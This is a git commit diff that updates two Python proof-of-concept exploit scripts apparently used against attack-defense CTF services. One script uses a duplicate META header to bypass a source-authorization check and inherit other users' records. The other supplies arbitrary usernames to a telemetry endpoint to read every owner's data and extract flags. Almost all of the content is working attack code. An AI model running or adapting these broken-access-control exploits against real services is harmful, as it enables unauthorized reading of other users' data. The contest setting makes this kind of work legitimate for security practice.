stabilize-Neo-exploits
This commit is contained in:
1 parent
b60d431b67
commit
c49ccab44d
2 files changed
+113
-95
No files matched your search
+60
-24
@@ -11,10 +11,13 @@ from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from pathlib import Path
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
|
||||
import requests
|
||||
@@ -50,6 +53,25 @@ def json_response(response: requests.Response):
|
||||
return data
|
||||
|
||||
|
||||
def state_path(base: str) -> Path:
|
||||
key = hashlib.sha256(base.encode("utf-8")).hexdigest()[:16]
|
||||
return Path("/tmp") / f"wahrwelt-braindance-{key}.json"
|
||||
|
||||
|
||||
def load_state(path: Path):
|
||||
try:
|
||||
return json.loads(path.read_text())
|
||||
except (OSError, ValueError):
|
||||
return {}
|
||||
|
||||
|
||||
def save_state(path: Path, state) -> None:
|
||||
try:
|
||||
path.write_text(json.dumps(state, separators=(",", ":")))
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
|
||||
@@ -58,32 +80,46 @@ def main() -> int:
|
||||
|
||||
base = service_url(args.base_url)
|
||||
session = requests.Session()
|
||||
username = f"probe_{secrets.token_hex(5)}"
|
||||
account = json_response(session.post(
|
||||
f"{base}/register",
|
||||
json={"username": username, "bio": "ctf"},
|
||||
timeout=10,
|
||||
))
|
||||
session.headers["Authorization"] = f"Bearer {account['token']}"
|
||||
path = state_path(base)
|
||||
state = load_state(path)
|
||||
username = state.get("username")
|
||||
token = state.get("token")
|
||||
if not username or not token:
|
||||
username = f"probe_{secrets.token_hex(5)}"
|
||||
account = json_response(session.post(
|
||||
f"{base}/register",
|
||||
json={"username": username, "bio": "ctf"},
|
||||
timeout=10,
|
||||
))
|
||||
token = account["token"]
|
||||
state = {"username": username, "token": token}
|
||||
save_state(path, state)
|
||||
session.headers["Authorization"] = f"Bearer {token}"
|
||||
|
||||
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
|
||||
source = args.record_id
|
||||
if source is None:
|
||||
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
|
||||
if source is None:
|
||||
raise RuntimeError("no source record found")
|
||||
now = time.time()
|
||||
rid = state.get("record")
|
||||
if not rid or now - float(state.get("created", 0)) >= 240:
|
||||
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
|
||||
source = args.record_id
|
||||
if source is None:
|
||||
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
|
||||
if source is None:
|
||||
raise RuntimeError("no source record found")
|
||||
|
||||
# The first META is used for the source authorization check; the last
|
||||
# META controls the inherited record. Keeping them different triggers
|
||||
# the vulnerable branch in the old parser.
|
||||
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
|
||||
created = json_response(session.post(
|
||||
f"{base}/records",
|
||||
data=body,
|
||||
headers={"Content-Type": "text/plain"},
|
||||
timeout=10,
|
||||
))
|
||||
rid = created["id"]
|
||||
state.update(record=rid, source=source, created=now)
|
||||
save_state(path, state)
|
||||
|
||||
# The first META is used for the source authorization check; the last
|
||||
# META controls the inherited record. Keeping them different triggers
|
||||
# the vulnerable branch in the old parser.
|
||||
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
|
||||
created = json_response(session.post(
|
||||
f"{base}/records",
|
||||
data=body,
|
||||
headers={"Content-Type": "text/plain"},
|
||||
timeout=10,
|
||||
))
|
||||
rid = created["id"]
|
||||
record = json_response(session.get(f"{base}/records/{rid}", timeout=10))
|
||||
|
||||
hits = []
|
||||
|
||||
Regular → Executable
+53
-71
@@ -1,9 +1,11 @@
|
||||
#!/usr/bin/env python3
|
||||
"""PoC for the pre-fix chrome-ledger telemetry authorization bug.
|
||||
|
||||
The vulnerable endpoint trusted the username in Obsigil's public manifest,
|
||||
which is intentionally forgeable, instead of the authenticated subject. Use
|
||||
only against an authorized M*CTF target in the contest VPN.
|
||||
Older builds accepted an arbitrary ``username`` query parameter on
|
||||
/home/api/telemetry. The registry endpoint exposes owner names, so a normal
|
||||
account could read every owner's telemetry and recover flags stored in the
|
||||
implant metadata. This version uses only the Python standard library plus
|
||||
the requests package available in the Neo worker image.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
@@ -13,109 +15,89 @@ import json
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from urllib.parse import urlencode, urlsplit, urlunsplit
|
||||
|
||||
import requests
|
||||
from obsigil import Obsigil, mandate, manifest
|
||||
|
||||
|
||||
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
def normalize_base_url(target: str, default_port: int) -> str:
|
||||
target = target.rstrip("/")
|
||||
if "://" in target:
|
||||
return target
|
||||
return f"http://{target}:{default_port}"
|
||||
def service_url(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
raw = f"http://{raw}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected HTTP target")
|
||||
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
|
||||
raise ValueError("target must be a host, URL, or URL with no path")
|
||||
port = parsed.port or 8081
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/")
|
||||
|
||||
|
||||
def registry_usernames(body: dict, attacker: str) -> list[str]:
|
||||
return sorted({
|
||||
str(row["owner"])
|
||||
for row in body.get("results", [])
|
||||
if row.get("owner") and row["owner"] != attacker
|
||||
})
|
||||
|
||||
|
||||
def request_json(response: requests.Response):
|
||||
def json_response(response: requests.Response):
|
||||
try:
|
||||
body = response.json()
|
||||
data = response.json()
|
||||
except ValueError:
|
||||
response.raise_for_status()
|
||||
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
||||
if not response.ok:
|
||||
raise RuntimeError(f"HTTP {response.status_code}: {body}")
|
||||
return body
|
||||
|
||||
|
||||
def forge_username(token: str, username: str) -> str:
|
||||
# The manifest key is public by design. Keep the attacker's authenticated
|
||||
# mandate and replace only its advisory manifest half.
|
||||
manifest_token = Obsigil.mint(
|
||||
clauses={},
|
||||
mandate_key=secrets.token_bytes(64),
|
||||
exp=int(time.time()) + 3600,
|
||||
aud=["chrome-ledger"],
|
||||
sub="manifest-builder",
|
||||
manifest={"iss": "chrome-ledger", "claims": {"username": username}},
|
||||
).token()
|
||||
forged_manifest = manifest(manifest_token)
|
||||
attacker_mandate = mandate(token)
|
||||
if not forged_manifest or not attacker_mandate:
|
||||
raise RuntimeError("could not construct an Obsigil token")
|
||||
return forged_manifest.rstrip(".") + attacker_mandate
|
||||
raise RuntimeError(f"HTTP {response.status_code}: {data}")
|
||||
return data
|
||||
|
||||
|
||||
def main() -> int:
|
||||
parser = argparse.ArgumentParser(description=__doc__)
|
||||
parser.add_argument("base_url", help="target IP or service URL")
|
||||
parser.add_argument("target_username", nargs="?", help="specific owner username")
|
||||
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
|
||||
parser.add_argument("target", help="Neo target host or chrome-ledger URL")
|
||||
args = parser.parse_args()
|
||||
|
||||
base = normalize_base_url(args.base_url, 8081)
|
||||
base = service_url(args.target)
|
||||
session = requests.Session()
|
||||
session.verify = not args.insecure
|
||||
username = f"audit_{secrets.token_hex(5)}"
|
||||
password = secrets.token_urlsafe(18)
|
||||
auth = request_json(session.post(
|
||||
username = f"probe_{secrets.token_hex(5)}"
|
||||
account = json_response(session.post(
|
||||
f"{base}/register",
|
||||
json={"username": username, "password": password},
|
||||
timeout=10,
|
||||
json={"username": username, "password": secrets.token_urlsafe(18)},
|
||||
timeout=8,
|
||||
))
|
||||
session.headers["Authorization"] = f"Bearer {account['access_token']}"
|
||||
|
||||
targets = [args.target_username] if args.target_username else registry_usernames(
|
||||
request_json(session.get(f"{base}/home/api/registry", timeout=10)),
|
||||
username,
|
||||
)
|
||||
if not targets:
|
||||
raise RuntimeError("no target username found in registry")
|
||||
registry = json_response(session.get(f"{base}/home/api/registry", timeout=8))
|
||||
owners = sorted({
|
||||
row.get("owner")
|
||||
for row in registry.get("results", [])
|
||||
if isinstance(row.get("owner"), str) and row.get("owner") != username
|
||||
})
|
||||
if not owners:
|
||||
raise RuntimeError("registry contains no other owners")
|
||||
|
||||
flags: set[str] = set()
|
||||
for target_username in targets:
|
||||
token = forge_username(auth["access_token"], target_username)
|
||||
found = []
|
||||
for owner in owners:
|
||||
response = session.get(
|
||||
f"{base}/home/api/telemetry",
|
||||
params={"username": target_username},
|
||||
headers={"Authorization": f"Bearer {token}"},
|
||||
timeout=10,
|
||||
f"{base}/home/api/telemetry?{urlencode({'username': owner})}",
|
||||
timeout=8,
|
||||
)
|
||||
try:
|
||||
body = response.json()
|
||||
except ValueError:
|
||||
body = response.text
|
||||
print(json.dumps({"target": target_username, "status": response.status_code, "body": body}))
|
||||
flags.update(FLAG_RE.findall(json.dumps(body)))
|
||||
if response.status_code in (401, 403, 404):
|
||||
continue
|
||||
data = json_response(response)
|
||||
print(json.dumps({"owner": owner, "telemetry": data}, indent=2))
|
||||
found.extend(FLAG_RE.findall(json.dumps(data)))
|
||||
|
||||
flags = sorted(set(found))
|
||||
if flags:
|
||||
print("flags:")
|
||||
print("\n".join(sorted(flags)))
|
||||
print("\n".join(flags))
|
||||
else:
|
||||
print("no flags matched; target may have the telemetry ownership fix", file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
raise SystemExit(main())
|
||||
except (requests.RequestException, KeyError, RuntimeError) as exc:
|
||||
except (requests.RequestException, KeyError, RuntimeError, ValueError) as exc:
|
||||
print(f"error: {exc}", file=sys.stderr)
|
||||
raise SystemExit(1)
|
||||
Reference in new issue
Block a user